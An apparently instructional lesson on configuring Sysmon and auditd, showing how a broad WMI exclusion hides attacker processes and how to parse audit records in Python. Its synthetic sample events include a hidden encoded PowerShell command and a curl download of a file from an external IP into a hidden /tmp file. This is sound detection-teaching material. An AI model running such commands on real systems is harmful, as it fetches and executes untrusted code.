TExcelTAD

Sysmon and auditd Configuration Basics

Out of the box, Windows does not record command lines of new processes, and Linux does not record which programs users run. The two tools defenders add first to fill that gap are Sysmon on Windows and the Linux audit system (auditd). Both are only as good as their configuration: too little and the attacker's commands are not there; too much and the volume drowns the SIEM and the agent. This lesson covers how each is configured, reads their output in Python, and shows how a careless exclusion creates a blind spot.

Sysmon

Sysmon (System Monitor, part of Microsoft Sysinternals) is a driver and service that writes events to the Microsoft-Windows-Sysmon/Operational channel: process creation with full command line, hashes and parent (Event ID 1), network connections (3), image loads (7), remote thread creation (8), process access (10), file creation (11), registry changes (12–14), DNS queries (22) and more. The full table with the fields that matter is in The Key Event IDs and Sysmon.

It is installed and configured from an elevated prompt (in your lab, on lab machines):

text
sysmon64.exe -accepteula -i sysmon-config.xml     install with a configuration
sysmon64.exe -c sysmon-config.xml                 load a changed configuration
sysmon64.exe -c                                   print the active configuration

The configuration is XML. For each event type, rules either include (log only what matches) or exclude (log everything except what matches), with conditions such as is, contains, begin with, end with and image on event fields:

xml
<Sysmon schemaversion="4.90">
  <HashAlgorithms>SHA256,IMPHASH</HashAlgorithms>
  <EventFiltering>
    <RuleGroup name="process creation" groupRelation="or">
      <ProcessCreate onmatch="exclude">
        <Image condition="is">C:\Program Files\LabBackup\agent.exe</Image>
        <ParentImage condition="is">C:\Windows\System32\wbem\WmiPrvSE.exe</ParentImage>  <!-- too broad: see below -->
      </ProcessCreate>
    </RuleGroup>
    <RuleGroup name="network" groupRelation="or">
      <NetworkConnect onmatch="include">
        <Image condition="end with">\powershell.exe</Image>
        <Image condition="end with">\rundll32.exe</Image>
        <DestinationPort condition="is">4444</DestinationPort>
      </NetworkConnect>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Most teams start from a maintained community configuration (for example SwiftOnSecurity's sysmon-config or Olaf Hartong's sysmon-modular) and adapt it, rather than writing one from scratch. The schemaversion attribute is independent of the Sysmon binary's version and must be one the installed binary understands (newer binaries still parse configurations written for older schemas); sysmon64.exe -s prints the binary's own schema, with its version.

The blind spot of an exclusion

Exclusions cut volume, and each one is a place an attacker can hide. The program applies the process-creation exclusions above to a few synthetic events. The second exclusion was added because a monitoring tool spawns many processes through WMI; it also hides every process an attacker starts remotely through WMI.

python · try it yourself
EXCLUDE = [  # (field, condition, value) from the ProcessCreate onmatch="exclude" block
    ("Image", "is", r"C:\Program Files\LabBackup\agent.exe"),
    ("ParentImage", "is", r"C:\Windows\System32\wbem\WmiPrvSE.exe"),
]
COND = {"is": lambda f, v: f.lower() == v.lower(), "end with": lambda f, v: f.lower().endswith(v.lower()),
        "contains": lambda f, v: v.lower() in f.lower(), "begin with": lambda f, v: f.lower().startswith(v.lower())}

events = [  # synthetic Sysmon Event ID 1 records (subset of fields)
    {"Image": r"C:\Program Files\LabBackup\agent.exe", "ParentImage": r"C:\Windows\System32\services.exe", "CommandLine": "agent.exe --run"},
    {"Image": r"C:\Windows\System32\cmd.exe", "ParentImage": r"C:\Windows\System32\wbem\WmiPrvSE.exe", "CommandLine": "cmd /c lab-monitor-check.bat"},
    {"Image": r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", "ParentImage": r"C:\Windows\System32\wbem\WmiPrvSE.exe",
     "CommandLine": "powershell -nop -w hidden -enc SQBFAFgA..."},
    {"Image": r"C:\Windows\System32\whoami.exe", "ParentImage": r"C:\Windows\explorer.exe", "CommandLine": "whoami /groups"},
]
for e in events:
    hit = next((r for r in EXCLUDE if COND[r[1]](e[r[0]], r[2])), None)
    verdict = f"DROPPED by {hit[0]} {hit[1]} ...{hit[2][-14:]}" if hit else "logged"
    print(f"{e['CommandLine'][:42]:44} {verdict}")

# A narrower exclusion: the parent AND the exact monitoring command line.
narrow = lambda e: e["ParentImage"].lower().endswith(r"\wmiprvse.exe") and e["CommandLine"] == "cmd /c lab-monitor-check.bat"
print("\nwith the narrow exclusion, the hidden PowerShell is",
      "logged" if not narrow(events[2]) else "dropped")
agent.exe --run                              DROPPED by Image is ...ckup\agent.exe
cmd /c lab-monitor-check.bat                 DROPPED by ParentImage is ...m\WmiPrvSE.exe
powershell -nop -w hidden -enc SQBFAFgA...   DROPPED by ParentImage is ...m\WmiPrvSE.exe
whoami /groups                               logged

with the narrow exclusion, the hidden PowerShell is logged

The encoded, hidden PowerShell started through WMI is exactly the kind of event detections need, and the broad exclusion drops it before it is ever written. Sysmon supports combining conditions in a <Rule groupRelation="and"> block, which makes the exclusion as narrow as the second version: this parent and this command line.

auditd

The Linux audit system records system calls and file accesses in /var/log/audit/audit.log. Rules live in /etc/audit/rules.d/*.rules and are loaded with augenrules --load (or auditctl -R for a file), both as root:

text
## watch files: -w path -p permissions(r w x a=attribute change) -k key
-w /etc/passwd -p wa -k identity
-w /etc/sudoers -p wa -k sudoers
-w /etc/ssh/sshd_config -p wa -k sshd_config
## every program execution, 64- and 32-bit system call tables
-a always,exit -F arch=b64 -S execve -k exec
-a always,exit -F arch=b32 -S execve -k exec
## make the rules immutable until reboot (an attacker with root cannot just remove them)
-e 2

Each event is several records sharing one serial number: a SYSCALL record (who, which program, success), then for execve an EXECVE record with the arguments and a PROCTITLE record with the full command line (arguments separated by NUL bytes, so auditd writes it hex-encoded; a value without spaces, quotes or control characters would appear in quotes instead). The key (-k exec) tags the rule that matched, and auid is the login user ID: it stays the user who logged in even after sudo, which is what investigators need. ausearch -k exec -i and aureport -x search and summarise on the host; in a SOC the records are shipped and parsed centrally. The program parses a few synthetic records:

python · try it yourself
import re
from collections import defaultdict

AUDIT = """\
type=SYSCALL msg=audit(1768471267.120:4242): arch=c000003e syscall=59 success=yes exit=0 ppid=812 pid=901 auid=1001 uid=0 euid=0 comm="curl" exe="/usr/bin/curl" key="exec"
type=EXECVE msg=audit(1768471267.120:4242): argc=4 a0="curl" a1="-so" a2="/tmp/.u" a3="http://203.0.113.66/u"
type=PROCTITLE msg=audit(1768471267.120:4242): proctitle=6375726C002D736F002F746D702F2E7500687474703A2F2F3230332E302E3131332E36362F75
type=SYSCALL msg=audit(1768471270.500:4243): arch=c000003e syscall=257 success=yes exit=3 ppid=812 pid=905 auid=1001 uid=0 euid=0 comm="vi" exe="/usr/bin/vim.basic" key="sudoers"
type=PATH msg=audit(1768471270.500:4243): item=0 name="/etc/sudoers" nametype=NORMAL
"""
USERS = {"1001": "deploy"}
events = defaultdict(dict)
for line in AUDIT.splitlines():
    rtype, ts, serial = re.match(r"type=(\w+) msg=audit\(([\d.]+):(\d+)\)", line).groups()
    fields = dict(re.findall(r'(\w+)=("[^"]*"|\S+)', line.split("): ", 1)[1]))
    events[serial].update({f"{rtype}.{k}": v.strip('"') for k, v in fields.items()}, time=float(ts))

for serial, e in events.items():
    who = f"auid={USERS[e['SYSCALL.auid']]} uid={e['SYSCALL.uid']}"
    if "PROCTITLE.proctitle" in e:
        cmd = bytes.fromhex(e["PROCTITLE.proctitle"]).replace(b"\x00", b" ").decode()
        print(f"#{serial} key={e['SYSCALL.key']:8} {who}  exec: {cmd}")
    else:
        print(f"#{serial} key={e['SYSCALL.key']:8} {who}  {e['SYSCALL.comm']} opened {e['PATH.name']}")
#4242 key=exec     auid=deploy uid=0  exec: curl -so /tmp/.u http://203.0.113.66/u
#4243 key=sudoers  auid=deploy uid=0  vi opened /etc/sudoers

Two events tell a short story: the user who logged in as deploy (auid 1001), now running as root, downloaded something into a hidden file in /tmp, then edited /etc/sudoers. Without auditd, neither would be in any log.

How a configuration is checked

  • Generate known activity after every change (run a test command, touch a watched file, in your lab) and confirm the events arrive in the SIEM with the fields detections use.
  • Measure volume per rule: Sysmon's event counts by Event ID and image, auditd's counts by key. One noisy rule usually explains most of the volume.
  • Review every exclusion like a firewall rule: who added it, why, and does it hide a parent or path an attacker could use?
  • Alert on tampering: Sysmon's own configuration-change event (16), the service stopping, auditctl -D or -e 0 in the audit log, auditd's service stopping.

Pitfalls

  • Logging every file read. -w / -p r or Sysmon file events for everything will overwhelm hosts and the SIEM. Watch sensitive files and executables, not everything.
  • Excluding by image name only. An attacker can name a binary agent.exe and put it anywhere; exclude by full path plus parent or signature.
  • Forgetting 32-bit calls. On 64-bit Linux, a 32-bit program uses the b32 table; without the second execve rule, it is invisible.

Practice

1. Write a narrow Sysmon exclusion for the backup agent that an attacker cannot satisfy just by naming a file agent.exe.

A <Rule groupRelation="and"> inside the ProcessCreate onmatch="exclude" block with <Image condition="is">C:\Program Files\LabBackup\agent.exe</Image> and <ParentImage condition="is">C:\Windows\System32\services.exe</ParentImage>. Writing to C:\Program Files needs admin rights, and the parent must be the service manager. Detections can additionally check the signer from the Sysmon hashes or EDR data.

2. Decode the proctitle `77686F616D69002D61` by hand.

77 68 6F 61 6D 69 = whoami, 00 = separator, 2D 61 = -a: the command line was whoami -a.

3. Why is `-e 2` at the end of the audit rules useful, and what does it cost?

It locks the rules until reboot, so an attacker with root can't silently delete them with auditctl -D (they would have to reboot, which is visible). The cost: administrators also need a reboot to change rules, so test rule changes on a lab machine first.

Test yourself

Which Sysmon event ID records process creation with the command line?

  1. 1
  2. 3
  3. 11
  4. 22

Why did the PowerShell event disappear in the first program?

  1. PowerShell is never logged
  2. An exclusion on the parent WmiPrvSE.exe dropped every process started through WMI
  3. The command line was too long
  4. Sysmon was not installed

What does the audit field auid record?

  1. The current effective user
  2. The login user ID, which stays the same after sudo
  3. The audit daemon's ID
  4. The group ID

Why does an auditd configuration need execve rules for both b64 and b32?

  1. For speed
  2. 32-bit programs on a 64-bit system use a different system-call table and would be missed
  3. Because of IPv6
  4. It doesn't